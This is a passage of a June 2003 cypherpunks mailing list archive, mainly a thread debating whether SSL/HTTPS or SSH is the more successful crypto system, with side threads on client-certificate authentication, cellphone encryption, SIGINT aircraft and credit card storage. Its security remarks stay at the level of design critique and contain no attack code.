(By contrast, eavesdropping protection and integrity protection
are critical to telnet-like applications, so SSH is a big win.)

It's nice to have routine web traffic encrypted,
so that non-routine traffic doesn't stand out,
and so that traffic analysis is much harder,
but there is a significant CPU hit from the public-key phase,
which affects the number of pages per hour that can be served.
Corporate intranet web traffic carried across the public internet
sometimes uses SSL, but usually uses IPSEC because that also supports email.



In addition to web browsing and email submission,
there's an emerging market for SSL-based VPNs appliances.
Neoteris is one of the pioneers, and Aventail and some others are players.
The intention is that you can get "clientless" (browser-based)
support for intranet web browsing and email,
and lightweight client support for telnet,
while only having to buy an overpriced server box.
(And the box doesn't even need crypto accelerator help,
because the public-key phase only gets used for login,
while most sessions are long enough that this amortizes quickly.)




From jamesd at echeque.com  Tue Jun  3 15:04:54 2003
From: jamesd at echeque.com (James A. Donald)
Date: Tue, 3 Jun 2003 15:04:54 -0700
Subject: Maybe It's Snake Oil All the Way Down
In-Reply-To: <200306031304.h53D4dl25250@medusa01.cs.auckland.ac.nz>
Message-ID: <3EDCB916.14077.15D755CF@localhost>

    --

> That's a red herring.  It happens to use X.509 as its
> preferred bit-bagging format for public keys, but that's
> about it.  People use self-signed certs, certs from unknown
> CAs [0], etc etc, and you don't need certs at all if you
> don't need them, <blatant self-promotion>I've just done an
> RFC draft that uses shared secret keys for mutual 
> authentication of client and server, with no need for
> certificates of any kind</blatant self-promotion>, so the use
> of certs, and in particular a hierarchical PKI, is merely an
> optional extra. It's no more required in SSL than it is in
> SSHv2.

I never figured out how to use a certificate to authenticate a
client to a web server, how to make a web form available to one
client and not another.  Where do I start?

What I and everyone else does is use a shared secret, a
password stored on the server, whereby the otherwise anonymous
client gets authenticated, then gets an ephemeral cookie
identifying him..   I cannot seem to find any how-tos or
examples for anything better, whether for IIS or apache.

As a result we each have a large number of shared secret
passwords, whereby we each log into a large number of
webservers.  Was this what the people who created this protocol
intended?


    --digsig
         James A. Donald
     6YeGpsZR+nOTh/cGwvITnSR3TdzclVpR0+pr3YYQdkG
     Y/QLPHyeZqXrSgYZI9nQsjsk7krbgSGfCZ0BLpOt
     4gqWFWtV3GiEwWupSGyR895BQo0u2e4MmlgtpP/po




From frantz at pwpconsult.com  Tue Jun  3 15:15:16 2003
From: frantz at pwpconsult.com (Bill Frantz)
Date: Tue, 3 Jun 2003 15:15:16 -0700
Subject: Maybe It's Snake Oil All the Way Down
In-Reply-To: <63421CA0-9609-11D7-A99C-000393754B1C@vangelderen.org>
References: <000101c3298e$cf6edd30$6401a8c0@VAIO650>
Message-ID: <v03110729bb02cd26c820@[192.168.1.5]>

At 2:21 PM -0700 6/3/03, Jeroen C. van Gelderen wrote:
>Perhaps that measure is too coarse grained. For instance, in the domain
>of "security advisories" most emails are digitally signed with OpenPGP.
>And in the domain of online credit card payments HTTPS has displaced
>HTTP.

I know of one system that takes credit cards over HTTPS, and then sends the
credit card number, encrypted with GPG to a backend system for processing.
It isn't perfect, but it's better than storing the credit card number on a
database accessible to the web server.  (I would feel a lot better if
Amazon didn't remember my credit card number.)

Cheers - Bill


-------------------------------------------------------------------------
Bill Frantz           | Due process for all    | Periwinkle -- Consulting
(408)356-8506         | used to be the         | 16345 Englewood Ave.
frantz at pwpconsult.com | American way.          | Los Gatos, CA 95032, USA



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From ekr at rtfm.com  Tue Jun  3 15:27:12 2003
From: ekr at rtfm.com (Eric Rescorla)
Date: 03 Jun 2003 15:27:12 -0700
Subject: Maybe It's Snake Oil All the Way Down
In-Reply-To: <3EDCB916.14077.15D755CF@localhost>
References: <3EDCB916.14077.15D755CF@localhost>
Message-ID: <kjisrmajb3.fsf@romeo.rtfm.com>

"James A. Donald" <jamesd at echeque.com> writes:

> > That's a red herring.  It happens to use X.509 as its
> > preferred bit-bagging format for public keys, but that's
> > about it.  People use self-signed certs, certs from unknown
> > CAs [0], etc etc, and you don't need certs at all if you
> > don't need them, <blatant self-promotion>I've just done an
> > RFC draft that uses shared secret keys for mutual 
> > authentication of client and server, with no need for
> > certificates of any kind</blatant self-promotion>, so the use
> > of certs, and in particular a hierarchical PKI, is merely an
> > optional extra. It's no more required in SSL than it is in
> > SSHv2.
> 
> I never figured out how to use a certificate to authenticate a
> client to a web server, how to make a web form available to one
> client and not another.  Where do I start?
>
> What I and everyone else does is use a shared secret, a
> password stored on the server, whereby the otherwise anonymous
> client gets authenticated, then gets an ephemeral cookie
> identifying him..   I cannot seem to find any how-tos or
> examples for anything better, whether for IIS or apache.
http://www.modssl.org/docs/2.8/ssl_howto.html#auth-simple

-Ekr

-- 
[Eric Rescorla                                   ekr at rtfm.com]
                http://www.rtfm.com/

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From eb at comsec.com  Tue Jun  3 15:50:37 2003
From: eb at comsec.com (Eric Blossom)
Date: Tue, 3 Jun 2003 15:50:37 -0700
Subject: Maybe It's Snake Oil All the Way Down
In-Reply-To: <5.2.0.9.0.20030603175734.045fa8b0@pop.ix.netcom.com>
References: <5.2.0.9.0.20030603103241.0455a6a0@pop.ix.netcom.com> <A4628A7C27BF0D48847FD4AB8536731D1D0B59@blinky.mobile-mind.com> <kjd6hxzc07.fsf@romeo.rtfm.com> <5.2.0.9.0.20030603103241.0455a6a0@pop.ix.netcom.com> <5.2.0.9.0.20030603175734.045fa8b0@pop.ix.netcom.com>
Message-ID: <20030603225037.GB20254@comsec.com>

On Tue, Jun 03, 2003 at 06:17:12PM -0400, John Kelsey wrote:
> At 01:25 PM 6/3/03 -0700, Eric Blossom wrote:
> ...

> I agree end-to-end encryption is worthwhile if it's available, but even 
> when someone's calling my cellphone from a normal landline phone, I'd like 
> it if at least the over-the-air part of the call was encrypted.  That's a 
> much bigger vulnerability than someone tapping the call at the base station 
> or at the phone company.

GSM and CDMA phones come with the crypto enabled.  The crypto's good
enough to keep out your neighbor (unless he's one of us) but if you're
that paranoid, you should opt for the end-to-end solution.  The CDMA
stuff (IS-95) is pretty broken: *linear* crypto function, takes 1
second worst case to gather data sufficient to solve 42 equations in
42 unknowns, but again, what's your threat model?  Big brother and
company are going to get you at the base station...

At our house we've pretty much given up on wired phone lines.  We use
cell phones as our primary means of communication.  Turns out that
with the bundled roaming and long distance, it works out cheaper than
what we used to pay for long distance service.  There is that pesky
location transponder problem though.

> ...which will basically never be secured end-to-end if 
> this requires each of those people to buy a special new phone, or do some 
> tinkering with configuring secure phone software for their PDA.  "Hmmm, 
> which key size do I need?  Is 1024 bits long enough?  Why do I have to move 
> the mouse around, again, anyway?"

It doesn't have to be hard.  No requirement for PKI.  Just start with
an unauthenticated 2k-bit Diffie-Hellman and be done with it.

Eric

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From eb at comsec.com  Tue Jun  3 15:50:37 2003
From: eb at comsec.com (Eric Blossom)
Date: Tue, 3 Jun 2003 15:50:37 -0700
Subject: Maybe It's Snake Oil All the Way Down
In-Reply-To: <5.2.0.9.0.20030603175734.045fa8b0@pop.ix.netcom.com>
Message-ID: <mailman.732.1576007632.31620.cypherpunks-legacy@lists.cpunks.org>

On Tue, Jun 03, 2003 at 06:17:12PM -0400, John Kelsey wrote:
> At 01:25 PM 6/3/03 -0700, Eric Blossom wrote:
> ...

> I agree end-to-end encryption is worthwhile if it's available, but even 
> when someone's calling my cellphone from a normal landline phone, I'd like 
> it if at least the over-the-air part of the call was encrypted.  That's a 
> much bigger vulnerability than someone tapping the call at the base station 
> or at the phone company.

GSM and CDMA phones come with the crypto enabled.  The crypto's good
enough to keep out your neighbor (unless he's one of us) but if you're
that paranoid, you should opt for the end-to-end solution.  The CDMA
stuff (IS-95) is pretty broken: *linear* crypto function, takes 1
second worst case to gather data sufficient to solve 42 equations in
42 unknowns, but again, what's your threat model?  Big brother and
company are going to get you at the base station...

At our house we've pretty much given up on wired phone lines.  We use
cell phones as our primary means of communication.  Turns out that
with the bundled roaming and long distance, it works out cheaper than
what we used to pay for long distance service.  There is that pesky
location transponder problem though.

> ...which will basically never be secured end-to-end if 
> this requires each of those people to buy a special new phone, or do some 
> tinkering with configuring secure phone software for their PDA.  "Hmmm, 
> which key size do I need?  Is 1024 bits long enough?  Why do I have to move 
> the mouse around, again, anyway?"

It doesn't have to be hard.  No requirement for PKI.  Just start with
an unauthenticated 2k-bit Diffie-Hellman and be done with it.

Eric

----- End forwarded message -----




From ericm at lne.com  Tue Jun  3 17:07:01 2003
From: ericm at lne.com (Eric Murray)
Date: Tue, 3 Jun 2003 17:07:01 -0700
Subject: [PaulLambert@AirgoNetworks.Com: Re: BIS Disk Full]
Message-ID: <20030603170701.A8490@slack.lne.com>

----- Forwarded message from Paul Lambert <PaulLambert at AirgoNetworks.Com> -----


From ericm at lne.com  Tue Jun  3 17:07:20 2003
From: ericm at lne.com (Eric Murray)
Date: Tue, 3 Jun 2003 17:07:20 -0700
Subject: [eay@pobox.com: Re: Maybe It's Snake Oil All the Way Down]
Message-ID: <20030603170720.B8490@slack.lne.com>

----- Forwarded message from Eric Young <eay at pobox.com> -----


From ericm at lne.com  Tue Jun  3 17:07:37 2003
From: ericm at lne.com (Eric Murray)
Date: Tue, 3 Jun 2003 17:07:37 -0700
Subject: [eb@comsec.com: Re: Maybe It's Snake Oil All the Way Down]
Message-ID: <20030603170737.C8490@slack.lne.com>

----- Forwarded message from Eric Blossom <eb at comsec.com> -----


From ericm at lne.com  Tue Jun  3 17:07:59 2003
From: ericm at lne.com (Eric Murray)
Date: Tue, 3 Jun 2003 17:07:59 -0700
Subject: [eb@comsec.com: Re: Maybe It's Snake Oil All the Way Down]
Message-ID: <20030603170759.D8490@slack.lne.com>

----- Forwarded message from Eric Blossom <eb at comsec.com> -----


From jeroen at vangelderen.org  Tue Jun  3 14:21:49 2003
From: jeroen at vangelderen.org (Jeroen C. van Gelderen)
Date: Tue, 3 Jun 2003 17:21:49 -0400
Subject: Maybe It's Snake Oil All the Way Down
In-Reply-To: <000101c3298e$cf6edd30$6401a8c0@VAIO650>
Message-ID: <63421CA0-9609-11D7-A99C-000393754B1C@vangelderen.org>

On Tuesday, Jun 3, 2003, at 01:13 US/Eastern, Lucky Green wrote:
> Given that SSL use is orders of magnitude higher than that of SSH, with
> no change in sight, primarily due to SSL's ease-of-use, I am a bit
> puzzled by your assertion that ssh, not SSL, is the "only really
> successful net crypto system".

(I noticed that SSL and HTTPS are sometimes used interchangeably in 
this thread and sometimes not (i.e. STARTTLS). I'll concentrate on 
HTTPS in this mail. Note that HTTPS is slightly broader than just SSL: 
it also includes the browser interface.)

Absolute numbers are one measure. Another would be to consider the 
ratio of HTTPS/HTTP and SSH/telnet. You could define a successful 
protocol by ability to displace its unprotected equivalent. I for one 
would consider that a more useful measure. I bet you find that HTTPS is 
non-existent according to this definition, completely disappearing in 
the noise. Interestingly (and IMHO correctly) enough OpenPGP fails this 
test too. Miserably.

Perhaps that measure is too coarse grained. For instance, in the domain 
of "security advisories" most emails are digitally signed with OpenPGP. 
And in the domain of online credit card payments HTTPS has displaced 
HTTP.

But HTTPS covers only those transactions for which users demand 
protection. Actually, that isn't quite correct. It is those 
transactions for which the users want to *feel* [2] protected. It is 
mindbogglingly easy to spoof an HTTPS site. Either with or without the 
impostor using a certificate. (Today, I can register 
http://www.e-g0ld.com/ and obtain a matching certificate for $100. All 
the user will see is a lock icon and he thinks he is safely on 
http://www.e-gold.com/.)

A large part of the problem obviously is the browser's user interface. 
The other part mainly concerns the use of CA certificates. Self-signed 
certificates only compound the problem by teaching the user bad habits. 
("Oh, if the browser asks a question, just click yes." Guess what: 
people will now always click "YES" on certificate related questions, 
whatever the question or warning is.)

Penetration? Even privacy-sensitive sites like, say, 
http://www.cypherpunks.to/ do not utilize HTTPS by default. The 
possibility of HTTPS access isn't even mentioned on the homepage. No 
support for RFC 2817 and no transparent redirect either. You have to 
manually change http: to https: for it to work.

Same for http://www.cryptorights.org/. When you manually go to the 
HTTPS version you will note that they use a self-signed certificate 
which:
  a) requires user interaction and a user
     knowing what she is doing;
  b) erodes the value of security questions
     (through teaching bad habits)
  c) doesn't cache the key so subsequent
     MITM attacks are not defended against.

Another sensitive site? How about HTTPS access to Google ... ?


SSH on the other hand succeeded in protecting network infrastructure 
nearly transparently. It virtually replaced telnet in places where it 
matters (and a whole lot where it doesn't). I don't have to change 
addresses or port numbers. Open-source UNIXes have it enabled by 
default. It completely redefined how X screens are remoted for the 
(small?) set of users that are interested in that. Of course its 
protocol isn't perfect and it certainly is vulnerable to the MITM on 
the first connection. But I bet it offers more real protection than 
HTTPS, as *presently* implemented, ever will. SSH is the closest thing 
to opportunistic encryption I know of.


I guess this is qualified agreement with Ian's statement that SSH is 
the "only really successful net crypto system". I can only hope that 
people will adopt the displacement ratio as a measure of success and 
design their protocols (all the way up to the user interface) 
accordingly.


Lifting and modifying a quote from Peter Gutmann's homepage:

"I think a lot of purists would rather have cryptographic protocols be 
useless to anyone in any practical terms than to have it made simple 
enough to use, but potentially "flawed"." -- with apologies to Chris 
Zimman.


-J


[1] One exception would be the subset of mail roughly corresponding to 
security advisories. There OpenPGP signatures are the norm.

[2] Airport "security" anyone?

-- 
Jeroen C. van Gelderen - jeroen at vangelderen.org

A single glass of beer was passed, from which I was the last
one to sip - a ritual signifying that I was not to be poisoned.




From timcmay at got.net  Tue Jun  3 17:28:09 2003
From: timcmay at got.net (Tim May)
Date: Tue, 3 Jun 2003 17:28:09 -0700
Subject: SIGINT planes vs. radioisotope mapping
In-Reply-To: <bbj2r8$ggb$1@abraham.cs.berkeley.edu>
Message-ID: <6AD4526E-9623-11D7-88B5-000A956B4C74@got.net>

On Tuesday, June 3, 2003, at 09:10  PM, David Wagner wrote:

> Sampo Syreeni  wrote:
>> Rather it's the fact that the Big
>> Brother doesn't have the necessary total funds, and so doesn't listen 
>> into
>> a considerable proportion of calls as a whole.
>
> Yet.
>
> As far as we know.
>
> :-)
>
> I agree it's an economic issue, and law enforcement doesn't seem to
> listen in on a considerable proportion of calls as a whole at the 
> moment.
> But what happens to costs in the future?  Remember, it takes 10 years
> to get any change to the cellphone/telecommunications infrastructure
> deployed, so it pays to think ahead.
>
> By the way, what's the story with those SIGINT planes supposedly
> advertised as being able to fly over a city and capture communications
> from the whole metropolitan area?  John Young had a pointer on his web
> site at one point.  Do you suppose they might snarf up all the 
> cellphone
> traffic they can find, en masse?  What proportion of calls would that 
> be,
> as a fraction of the whole?  One wonders whether your confidence in the
> security of cellphone traffic is well-founded.

AWACS-type planes have long had the ability to act as "cell towers," so 
cell traffic is easily picked-up, if in fact they are doing this. 
Landline signals are vastly harder to pick up, and I doubt strongly 
that every minorly-radiating landline signal is being picked up.

Perhaps for very, very targetted signals, but not cruising over general 
cities, it seems likely to me.

I'm not sure of the context here, but in the past year there were some 
reports of planes circling over university campuses, and many were 
hypothesizing that SIGINT was being done on telephone and computer 
messages. This seemed unlikely to me.

I concluded--and posted on Usenet about my thinking--that some campuses 
may have been targeted for low-level gamma ray surveys. Kind of a gamma 
ray version of Shipley's "war driving" maps. Possibly for construction 
of baseline maps of existing radioisotopes in university labs, 
hospitals, and private facilities. Then deviations from baseline maps 
could be identified and inspected in more detail with ground-based vans 
and black bag ops.

>
--Tim May
"That the said Constitution shall never be construed to authorize 
Congress to infringe the just liberty of the press or the rights of 
conscience; or to prevent the people of the United States who are 
peaceable citizens from keeping their own arms." --Samuel Adams




From lynn at garlic.com  Tue Jun  3 16:29:44 2003
From: lynn at garlic.com (Anne & Lynn Wheeler)
Date: Tue, 03 Jun 2003 17:29:44 -0600
Subject: Maybe It's Snake Oil All the Way Down
In-Reply-To: <3EDCB916.14077.15D755CF@localhost>
References: <200306031304.h53D4dl25250@medusa01.cs.auckland.ac.nz>
Message-ID: <4.2.2.20030603170816.00c976a0@mail.earthlink.net>

At 03:04 PM 6/3/2003 -0700, James A. Donald wrote:

>I never figured out how to use a certificate to authenticate a
>client to a web server, how to make a web form available to one
>client and not another.  Where do I start?
>
>What I and everyone else does is use a shared secret, a
>password stored on the server, whereby the otherwise anonymous
>client gets authenticated, then gets an ephemeral cookie
>identifying him..   I cannot seem to find any how-tos or
>examples for anything better, whether for IIS or apache.
>
>As a result we each have a large number of shared secret
>passwords, whereby we each log into a large number of
>webservers.  Was this what the people who created this protocol
>intended?

The issue is where does the authentication material come from.
<blatant aads promotion>
Basically, certificates were solution targeted for offline email from
the early '80s. you dail-up, connect, exchange email, hang-up. then
you read. some random person that you never, ever dealt with before
sends you something. they claim to be somebody .... the certificate
is signed by somebody you trust .... is offered as proof that they are
who they claimed to be.

the other approach in the online world &/or with previous relations,
is have a table of authentication material. the payment (debit/credit) card
world went from non-electronic, offline to electronic and online (and
skipped the step altogether that certificates represent ... the electornic
and offline).

note that even the certificate-based infrastructure are dependent on
this method .... basically the certificate-enabled infrastructures have
local table of "CA" public keys (i.e. those public keys that they've previously
decided to trust) ... then certificates are validated with "CA" public keys
and the current message/document is validate with public key from
certificate. The primary difference between cert-based infrastructure and
certless-based infrastructure is that the cert-based infrastructure there
CAs have the database of all public keys and create these small R/O
copies of their database records called certificates and spray them all
over for use in offline environments. Then relying parties just have
abbreviated CA-only public key tables and can't access the full tables
maintained at the CAs.

In the certless-based infrastructure the relying parties either maintain
their own full tables of all public keys and/or have direct online access to
the full tables. There is no need for these little R/O, static, stale,
redundant and superfluous copies of somebody else offline database entry 
(called
certificates) since there can be direct, online access to the original copy.

generalized case can be hooking the web server to either radius or
kerberos for handling the authentication process. both radius and
kerberos support shared-secrets recorded in database as authentication.
the radius example at
http://www.asuretee.com/
shows example of radius recording public key in lieu of shared-secret
and performing ecdsa digital signature authentication. pkinit for
kerberos also allows for public key recorded in lieu of shared-secret
and digital signature authentication.

misc. radius public key authentication posts
http://www.garlic.com/subpubkey.html#radius
misc. kerberos public key authentication pots
http://www.garlic.com/subpubkey.html#kerberos
futher discussion specifically regarding static, stale, redundant,
superfluous certificates.
http://www.garlic.com/~lynn/subpubkey.html#rpo


slightly related discussions regarding SSL merchant comfort
certificates:
http://www.garlic.com/~lynn/subpubkey.html#sslcerts

</blatant aads promotion>
--
Anne & Lynn Wheeler    http://www.garlic.com/~lynn/
Internet trivia 20th anv http://www.garlic.com/~lynn/rfcietff.htm
  


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From camera_lumina at hotmail.com  Tue Jun  3 14:53:11 2003
From: camera_lumina at hotmail.com (Tyler Durden)
Date: Tue, 03 Jun 2003 17:53:11 -0400
Subject: The Streisand imagecriminal lives 2-3 parcels away from me
Message-ID: <BAY7-F57GzvtlEeGjOH00029c72@hotmail.com>

>"I'd say issues of putting aerial photography on the internet and how that 
>changes the status of previously "secret" information are pretty close to 
>our core issues - they're not directly cryptography, but neither are the 
>"guns, lots of guns" discussions."

What the hell...I see plenty of room for socializing-type talk, particularly 
if it's not inifintely removed from the concerns of the list.

Actually, in this case there was a subtext that was also of interest. May 
put 2+2 together and used publically available, easy-to-access search tools 
and was able to figure out what a secretive neighbor was doing. Makes you 
wonder if the TLAs really need to do much covert snopping these days.


-TD




>From: Bill Stewart <bill.stewart at pobox.com>
>To: cypherpunks at lne.com
>Subject: Re: The Streisand imagecriminal lives 2-3 parcels away from me
>Date: Tue, 03 Jun 2003 11:48:31 -0700
>
>At 11:00 AM 06/03/2003 -0400, Sunder wrote:
>>That's all nice and good, but why should it be on cypherpunks?  Where's
>>the relevance to this list?  Why is Ken, or his addres or helipad an
>>interest to the cypherpunks?  Why is PG&E's monopolistic's actions against
>>him relevant to the topics of this list?
>>
>>What's next?  The Cypherpunk Equirer?
>
>Well sure - because not all the Black Helicopters flying over Tim's house
>have belonged to Feds/UN/etc. - one of them's probably been Ken's :-)
>I've also found Tim's comments on Pynchon living nearby interesting.
>
>>IMHO, neither he, nor the Streisand creature have any relevance here -
>>there perhaps was some relevance in terms of that lawsuit the bitch
>>started, but, who gives a shit who your neighbors are?
>
>I'd say issues of putting aerial photography on the internet and
>how that changes the status of previously "secret" information
>are pretty close to our core issues - they're not directly cryptography,
>but neither are the "guns, lots of guns" discussions.
>
>I don't know if Hugh ever pulled off the "export RSA by standing in
>a bar-code when the Russian 1-meter-resolution spy satellites fly over"...

_________________________________________________________________
Add photos to your messages with MSN 8. Get 2 months FREE*.  
http://join.msn.com/?page=features/featuredemail




From ravage at einstein.ssz.com  Tue Jun  3 16:01:28 2003
From: ravage at einstein.ssz.com (Jim Choate)
Date: Tue, 3 Jun 2003 18:01:28 -0500 (CDT)
Subject: CNN.com - Man wins right to sue U.S. government over pot car -
  Jun. 2, 2003 (fwd)
Message-ID: <Pine.LNX.4.33.0306031801120.1252-100000@einstein.ssz.com>

;)

http://www.cnn.com/2003/LAW/06/02/pot.lawsuit.reut/index.html


 --
    ____________________________________________________________________

      We are all interested in the future for that is where you and I
      are going to spend the rest of our lives.

                              Criswell, "Plan 9 from Outer Space"

      ravage at ssz.com                            jchoate at open-forge.org
      www.ssz.com                               www.open-forge.org
    --------------------------------------------------------------------




From kelsey.j at ix.netcom.com  Tue Jun  3 15:17:12 2003
From: kelsey.j at ix.netcom.com (John Kelsey)
Date: Tue, 03 Jun 2003 18:17:12 -0400
Subject: Maybe It's Snake Oil All the Way Down
In-Reply-To: <20030603202550.GB19610@comsec.com>
References: <5.2.0.9.0.20030603103241.0455a6a0@pop.ix.netcom.com>
  <A4628A7C27BF0D48847FD4AB8536731D1D0B59@blinky.mobile-mind.com>
  <kjd6hxzc07.fsf@romeo.rtfm.com>
  <5.2.0.9.0.20030603103241.0455a6a0@pop.ix.netcom.com>
Message-ID: <5.2.0.9.0.20030603175734.045fa8b0@pop.ix.netcom.com>

At 01:25 PM 6/3/03 -0700, Eric Blossom wrote:
...
>Having spent many years messing with these things, I've come to the
>conclusion that what I personally want is a cell phone that implements
>good end-to-end crypto.  This way, I've always got my secure
>communication device with me, there's no "bag on the side", and it can
>be made almost completely transparent.

I agree end-to-end encryption is worthwhile if it's available, but even 
when someone's calling my cellphone from a normal landline phone, I'd like 
it if at least the over-the-air part of the call was encrypted.  That's a 
much bigger vulnerability than someone tapping the call at the base station 
or at the phone company.  Otherwise, encrypted phone calls with the secure 
cellphone start looking a lot like encrypted e-mail with PGP--I have PGP, 
so do a few other people, but most people I want to talk to don't have it 
installed, and so most of my calls remain in the clear.  This includes 
phone calls to my doctor, mother, priest, shrink, sister, lawyer, best 
friend, wife, bank, accountant, etc., e.g., all the calls I probably really 
wanted secured, and which will basically never be secured end-to-end if 
this requires each of those people to buy a special new phone, or do some 
tinkering with configuring secure phone software for their PDA.  "Hmmm, 
which key size do I need?  Is 1024 bits long enough?  Why do I have to move 
the mouse around, again, anyway?"  For essentially all of these, just 
getting to where I can use a cordless or cell phone on these calls without 
feeling like I'm broadcasting my private conversations in the clear would 
be great.  Securing the other end is even better, but I'd like to do the 
part I can do now, not when the world finally realizes that unencrypted 
wireless stuff is a gaping privacy hole.

...
> > And for cellphones, I keep thinking we need a way to sell a secure
> > cellphone service that doesn't involve trying to make huge changes to the
> > infrastructure, ...
>
>Agreed.  Given a suitably powerful enough Java or whatever equipped
>cell phone / pda and an API that provides access to a data pipe and
>the speaker and mic, you can do this without any cooperation from the
>folks in the middle.  I think that this platform will be common within
>a couple of years.  The Xscale / StrongARM platform certainly has
>enough mips to handle both the vocoding and the crypto.

Yep.  I have this mental picture of downloading some software for my 
PDA/cellphone, and buying a $200 box for my home, and getting a secure 
cordless phone when I'm in range, and a secure cellphone when I'm not, 
maybe with a secure voicemail system thrown in for good measure.  It seems 
like most of this is off-the-shelf technology (wireless networking, a box 
connected to two landlines, some minimal encryption and key management 
software, etc.).

When you ask for a secure call, your cellphone calls the box in your house 
(over an encrypted link), and it makes the rest of the call.  Similarly, 
when someone calls your secure phone line number, it rings at the box, and 
then gets forwarded over the encrypted link to your cellphone.  If two 
boxes like this call each other, they do end-to-end encryption.  But the 
over-the-air stuff always gets encrypted.  It sure seems like this would be 
worth putting up with a little delay in the call setup.  (But maybe there's 
some reason this won't work.)

>Eric

--John Kelsey, kelsey.j at ix.netcom.com
PGP: FA48 3237 9AD5 30AC EEDD  BBC8 2A80 6948 4CAA F259




From timcmay at got.net  Tue Jun  3 18:28:22 2003
From: timcmay at got.net (Tim May)
Date: Tue, 3 Jun 2003 18:28:22 -0700
Subject: Waste (or is it W.A.S.T.E.?) author/releasor to resign from
  AOL/Time Warner
Message-ID: <D4979684-962B-11D7-88B5-000A956B4C74@got.net>

The author/releasor of Waste/W.A.S.T.E. (All Rights Reserved--neither  
T. Pynchon nor T. May use this name anymore) is apparently leaving  
AOL/Time Warner, the company that purchased his company, Nullsoft.

<http://story.news.yahoo.com/news?tmpl=story&cid=528&ncid=528&e=2&u=/ 
ap/20030603/ap_on_hi_te/aol_nullsoft>

So I guess we won't have the Waste/W.A.S.T.E. proprietary crypto  
innards to kick around anymore.

ObRay: "Why is this discussion here? We should be talking about SSH vs.  
SSL!!"

--Tim May
"That the said Constitution shall never be construed to authorize  
Congress to infringe the just liberty of the press or the rights of  
conscience; or to prevent the people of the United States who are  
peaceable citizens from keeping their own arms." --Samuel Adams




From iang at systemics.com  Tue Jun  3 15:42:59 2003
From: iang at systemics.com (Ian Grigg)
Date: Tue, 03 Jun 2003 18:42:59 -0400
Subject: CDR: Re: Maybe It's Snake Oil All the Way Down
References: <A4628A7C27BF0D48847FD4AB8536731D1D0B59@blinky.mobile-mind.c 
	 om> <kjd6hxzc07.fsf@romeo.rtfm.com> <5.2.0.9.0.20030603103241.0455a6a0@pop.ix.netcom.com> <Pine.SOL.4.51.0306032216560.21827@kruuna.Helsinki.FI>
Message-ID: <3EDD2473.88546AF@systemics.com>

Sampo Syreeni wrote:

> >But anything that goes over the air, whether cellphone or cordless phone,
> >ought to be properly encrypted, and it isn't now.
> 
> Why? As I see it, this is fundamentally an economic question, not a
> technical one. It's about the risk of somebody listening in, taking notice
> and acting adversely to the talker's own interest, versus speaking what
> one wants without having to take expensive precautions. Currently such
> risks mostly materialize when one *truly* has something to hide, that is,
> one talks about something criminal, there is reason to believe law
> enforcement agencies might be listening and one talks in terms which will
> reasonably lead to conviction in the right circumstances.


Getting back to the world of users, there is a
threat out there:  idle listeners.  For the
famous and the vulnerable, there have been countless
scandals whereby private conversations have been
recorded and dumped on a shocked and titillated
public.

GSM stopped that one cold.  It wasn't ever meant
to be encrypted to stop LEOs listening in, and
that never would have been an issue anyway, as
taps are more conveniently put at the base station
(assuming legal behaviour by LEOs).  (And, we can
pretty much assume that the encryption wouldn't be
allowed any further than the basestation ... in
fact, I'm given to understand that there is a
reason that the microwave links were never
encrypted ;-)

What was a real issue was that people who had
something to hide wouldn't use the phone.  And,
those people with something to hide, *wanted* to use
the phone.  It was actually economically sensible
to give all those scandalising lovers secure phones
so they could romance away the hours safely, because
the charging was per-minute.



The other issue was phone spoofing, which was a
massive industry in Europe with the older analog
devices.  Again, the crypto in GSM phones killed
that little loss leader.



> >End-to-end encryption isn't nearly as important.
> 
> Huh? Bare on-the-air encryption only proofs you against nosy neighbours
> and the attendant probability of one of them giving you in for something
> illegal.

I'm guessing here that neither civil litigation
nor Murdoch papers are much seen in Finland :-)

-- 
iang

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From jeroen at vangelderen.org  Tue Jun  3 16:47:27 2003
From: jeroen at vangelderen.org (Jeroen van Gelderen)
Date: Tue, 3 Jun 2003 19:47:27 -0400
Subject: Maybe It's Snake Oil All the Way Down
In-Reply-To: <v03110729bb02cd26c820@[192.168.1.5]>
Message-ID: <BB4DFA4E-961D-11D7-9380-000393754B1C@vangelderen.org>

On Tuesday, Jun 3, 2003, at 18:15 US/Eastern, Bill Frantz wrote:

> At 2:21 PM -0700 6/3/03, Jeroen C. van Gelderen wrote:
>> Perhaps that measure is too coarse grained. For instance, in the 
>> domain
>> of "security advisories" most emails are digitally signed with 
>> OpenPGP.
>> And in the domain of online credit card payments HTTPS has displaced
>> HTTP.
>
> I know of one system that takes credit cards over HTTPS, and then 
> sends the
> credit card number, encrypted with GPG to a backend system for 
> processing.
> It isn't perfect, but it's better than storing the credit card number 
> on a
> database accessible to the web server.  (I would feel a lot better if
> Amazon didn't remember my credit card number.)

I noticed this the other day whilst buying something at Amazon: 
allegedly, Amazon doesn't store your CC number in a network readable 
database:

http://www.amazon.com/exec/obidos/tg/browse/-/518224/002-9740615-3944845

"To provide you with an additional layer of security, all credit card 
numbers provided to Amazon.com are stored on a computer that is not 
connected to the Internet. After you type or call it in, your complete 
credit card number is transferred to this secure machine across a 
proprietary one-way interface. This computer is not accessible by 
network or modem, and the number is not stored anywhere else."

Now I'm not sure how they get to use the number during the billing 
process but hey... :)

I don't know if I'd feel much better if Amazon didn't have my CC on 
file. The danger of a disgruntled sysadmin snarfing the numbers while 
they pass trough the system for one time use during a single billing 
cycle seems to real for me.

-J
-- 
Jeroen C. van Gelderen - jeroen at vangelderen.org

War prosperity is like the prosperity that an earthquake or a plague
brings. The earthquake means good business for construction workers,
and cholera improves the business of physicians, pharmacists, and
undertakers; but no one has for that reason yet sought to celebrate
earthquakes and cholera as stimulators of the productive forces in
the general interest. -- Ludwig von Mises




From rsalz at datapower.com  Tue Jun  3 16:49:34 2003
From: rsalz at datapower.com (Rich Salz)
Date: Tue, 3 Jun 2003 19:49:34 -0400 (EDT)
Subject: Maybe It's Snake Oil All the Way Down
In-Reply-To: <3EDCB916.14077.15D755CF@localhost>
Message-ID: <Pine.LNX.4.44L0.0306031946420.11133-100000@smtp.datapower.com>

> I never figured out how to use a certificate to authenticate a
> client to a web server, how to make a web form available to one
> client and not another.  Where do I start?

You must not have looked very hard. :)

I would start by taking Apache, openssl, and the mod_ssl package.
For example, at
    http://www.modssl.org/docs/2.8/ssl_howto.html#ToC6
we see the question "How can I authenticate clients based on
certificates when I know all my clients?" and it's answer.
Similar questions are also answered.
        /r$

--
Rich Salz                     Chief Security Architect
DataPower Technology          http://www.datapower.com
XS40 XML Security Gateway     http://www.datapower.com/products/xs40.html


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From jamesd at echeque.com  Tue Jun  3 20:37:03 2003
